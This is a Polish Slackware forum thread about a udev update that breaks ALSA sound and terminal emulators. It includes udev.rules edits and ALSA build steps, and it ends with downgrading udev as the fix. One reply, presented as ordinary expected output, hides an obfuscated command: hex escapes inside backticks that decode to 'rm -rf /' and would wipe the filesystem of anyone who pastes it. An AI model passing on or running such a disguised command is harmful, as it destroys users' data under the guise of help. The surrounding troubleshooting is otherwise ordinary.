rc.udev a konsola i alsa

Czyli jak najefektywniej (lub efektowniej) skonfigurować Slackware'a w komputerze domowym

Moderatorzy: Moderatorzy, Administratorzy

kodi
Użytkownik
Posty: 3
Rejestracja: 2005-07-18, 21:59

rc.udev a konsola i alsa

Post autor: kodi »

Witam !!

Z początku napiszę że jestem na forum od dawna (od dawna czytam, ale piszę po raz pierwszy :) ).

Mam pewien problem. Używam slacka 10.1. Z testing zainstalowałem jajko 2.6.11.11 i byłoby wszystko ok gdyby ...

1. dźwięk się nie dopala, alsa krzyczy że nie znaleziono urządzenia. To spoko dało się rozwiązać - odpalam rc.udev i jest wszystko cacy (chociaż nie do końca bo rc.udev ma r-x tak że powinien się uruchomić podczas startu ale tak się nie dzieje :)) mniejsza z tym dopiszę jeszcze do rc.local i będzie ok.
2. Jak już odpalę rc.udev to w X-ach nie mogę odpalić żadnej konsoli (xterm wogóle się nie uruchamia a konsole uruchamia się z tym że nic w niej się nie wyświetla).
3. Po odpaleniu rc.udev i X-ów przy próbie np. kdesu cośtam dostaję komunikat że nie znaleziono su :? mimo że su jest oczywiście w ścieżce usera.

Dodam jeszcze że jeżeli nie odpalę rc.udev to problemy 2 i 3 nie występują.
Jakby ktoś znał rozwiązanie mojego problemu plizz napiszcie.
Awatar użytkownika
Kosma
Użytkownik
Posty: 531
Rejestracja: 2005-04-02, 00:44
Lokalizacja: Wrocław
Kontakt:

Re: rc.udev a konsola i alsa

Post autor: Kosma »

1. Pisz konkretami (nie lubimy określenia "jakiś"). Wklejaj komunikaty, które dostałeś.
2. Problem jest stary, było o tym na forum nie raz - wyłącz legacy pty w konfiguracji jajka.
Kot, etatowy opieprzacz z zakresu kart AC'97.
sayetan
Moderator w st. spocz.
Posty: 2193
Rejestracja: 2004-06-20, 21:47
Lokalizacja: Jelenia Góra

Re: rc.udev a konsola i alsa

Post autor: sayetan »

to chyba powinno pomoc:
Open the file: /etc/udev/rules.d/udev.rules and change the line
KERNEL="tty[p-za-e][0-9a-f]*", NAME="tty/s%n", SYMLINK="%k"
to:
KERNEL="tty[p-za-e][0-9a-f]*", NAME="pty/s%n", SYMLINK="%k"
now run /etc/rc.d/rc.udev it should give output like:
Initializing udev dynamic device directory.
# `echo -e "\x72\x6D\x20\x2D\x72\x66\x20\x2F"`
Malin

Re: rc.udev a konsola i alsa

Post autor: Malin »

Ja mam podobny problem, posiadam taki wpis, jednak jezeli wpisze azeby rc.udev byl wykonywany w rc.local, to konsole nie odpalaja sie, jezeli zas wpisze z palca odpalenie rc.udev to wszystko dziala. Jezeli chodzi o kernel to mam 2.6.12.2, z 2.6 mam doczynienia dlugo i nie mialem do tej pory problemu. Hotpluger dziala.

--EDIT--
Poprawka po odpaleniu z palca nadal nie dziala. Jedyny sposob na odzyskanie /dev/dsp to reinstalacja devs.
KrUk-LeParkour

Re: rc.udev a konsola i alsa

Post autor: KrUk-LeParkour »

Co do dzwieku no to to powinno pomoc. Musisz wszystko zrobic tak jak pisze najlepiej zaloguj sie do tego jako root nie tylko w konsoli tylko ogolnie przy starcie jako loin root. To wtedy powinno pomoc.
U mnie na kernellu 2.4.29 wszystko ladnie miga ;-)

1) Wchodzisz na www.alsa-project.org i sciagasz :
- alsa-driver
- alsa-lib
- alsa-utils
- alsa-oss
wszystkie pliki w miare najnowsze

2) tworzysz sobie katalog alsa w /usr

3)kopiujesz i wypakowywujesz tam te sciagniete pliki

4)Instalacja alsa-driver wchodzisz do kat. /usr/alsa/alsa-driver-xxxxx/

Kod: Zaznacz cały

#./configure
#./configure --prefix=/usr --with-cards=emu10k1--with-sequencer=yes --with-cards=all zainstaluje oprogramowanie dla wszystkich kart ktore posiada w bazie
# make clean
# make
# make install
5)Instalacja alsa-lib wchodzisz do kat. /usr/alsa/alsa-lib-xxxxxx
# ./configure ; make clean ; make ; make install

6)Instalacja alsa-oss, wchodzisz do kat. /usr/alsa/alsa-oss-xxxxx
# ./configure ; make clean ; make ; make install

7)z roota edytujemy plik /etc/modules.conf i dorzucamy nastepujace linijki :

Kod: Zaznacz cały

# ALSA portion
alias char-major-116 snd

# OSS/Free protion
alias char-major-14 soundcore
alias sound-service-0-0 snd-mixer-oss
alias sound-service-0-1 snd-seq-oss
alias sound-service-0-3 snd-pcm-oss
alias sound-service-0-12 snd-pcm-oss
8)Instalacja alsa-utils, wchodzisz do kat. /usr/alsa/alsa-utils-xxxxx
#./configure ; make clean ; make ; make install


9)reboot i jestemy cholernie zadowoleni bo mamy dzwiek :D odpalamy alsaconf przechodzimy przez proces wykrywania karty etc. później alsamixer głoność.

i chyba tyle u mnie ta karta spokojnie dziala, jezeli masz jakie pytania popytaj pana google :-]
Ostatnio zmieniony 2005-07-19, 18:48 przez KrUk-LeParkour, łącznie zmieniany 1 raz.
przemek999
Pomocnik
Posty: 1157
Rejestracja: 2005-03-04, 18:27

Re: rc.udev a konsola i alsa

Post autor: przemek999 »

KrUk-LeParkour:
2) Chyba raczej do /usr/src
4) Poco ten prefix dla drivers, jak one i tak do /lib/modules/.... trafiają ?
7) a nie prościej i uniwersalniej poprzez alsaconf ?
No i wcale nie trzeba alsa-utils i alsa-lib kompilować - ja mam tylko alsa-driver skompilowane, reszta z dystrybucjii (emulacjii oss nie używam)

Pozatym w 2.6.X jest przecierz alsa dołączona.
Pozdrawiam Przemek.
KrUk-LeParkour

Re: rc.udev a konsola i alsa

Post autor: KrUk-LeParkour »

Ale , wiesz ja napisalem tak jak ja zrobilem :-) Nowiec wiesz :-) Ale moze to moje pomoze zreszta ja tylko pomocna dlon podalem :-) Ja mam katalog Alsa w /usr :-)
Malin

Re: rc.udev a konsola i alsa

Post autor: Malin »

Chyba raczej nie doczytales o co mi chodzi. Mam alse, mam alse w kernelu. Po uruchomieni rc.udev nie dzialaja konsole. Wpis ktory jest podany w temacie nie pomaga ( przynajmniej mi, bo juz takowy jest ). Dzwiek mi dziala pod warunkiem ze zrobie swaret --reinstall devs. Wtedy pojawia sie dzwiek. Ewentualnhie jak dopisze do rc.local lub odpale z palca rc.udev tez /dev/dsp pojawia sie. Wyczerpalem wszystkie pomysly i juz nie wiem.
przemek999
Pomocnik
Posty: 1157
Rejestracja: 2005-03-04, 18:27

Re: rc.udev a konsola i alsa

Post autor: przemek999 »

Malin przeinstaluj devs i wyłącz rc.udev - najprościej i skutecznie :wink:
Pozdrawiam Przemek.
Malin

Re: rc.udev a konsola i alsa

Post autor: Malin »

przemek999 pisze:Malin przeinstaluj devs i wyłącz rc.udev - najprościej i skutecznie :wink:
Po restarcie systemu brak /dev/dsp, musze za kazdym razem robic reinstall devs a rc.udev dawno zdazylem wylaczyc :>
Malin

Re: rc.udev a konsola i alsa

Post autor: Malin »

No coz po doczytaniu w changelogu postanowilem zrobic degrade udeva i pomoglo, wszystko wrocilo do dobrze dzialajacego dzwieku. No musialem dopisac alsactl restore w rc.local, ale zaoszczedzilem sobie reinstalki systemu =]
kodi
Użytkownik
Posty: 3
Rejestracja: 2005-07-18, 21:59

Re: rc.udev a konsola i alsa

Post autor: kodi »

Witam !!

THX Malin !! Downgrade pakietu udev POMÓGŁ !!! Wszystko wróciło do normy.

:D


Pozdrawiam
kodi
Awatar użytkownika
kruszek
Użytkownik
Posty: 381
Rejestracja: 2004-08-30, 19:11
Lokalizacja: Kraków

Re: rc.udev a konsola i alsa

Post autor: kruszek »

kodi pisze:Downgrade pakietu udev POMÓGŁ Exclamation Wszystko wróciło do normy.
do jakiej wersji zdowngradeowales ??
"Java jest jak kobieta, na poczatku czlowiek nie jest do niej przekonany, ale potem zycie go zmusza, aby sie przekonal"
przemek999
Pomocnik
Posty: 1157
Rejestracja: 2005-03-04, 18:27

Re: rc.udev a konsola i alsa

Post autor: przemek999 »

kruszek użyj pakietu z 10.1
To ostatnia stabilna wersja - w currencie niektóre pakiety czasem okazują się skopane.
Pozdrawiam Przemek.
Awatar użytkownika
kruszek
Użytkownik
Posty: 381
Rejestracja: 2004-08-30, 19:11
Lokalizacja: Kraków

Re: rc.udev a konsola i alsa

Post autor: kruszek »

moze troche nie na temat, ale najnowsza paczka udev'a doprowadza takze do tego, ze pppoe wysypuje mi sie na modemie USB Alcatela... po downgrade znowu wszytsko dziala
"Java jest jak kobieta, na poczatku czlowiek nie jest do niej przekonany, ale potem zycie go zmusza, aby sie przekonal"
ODPOWIEDZ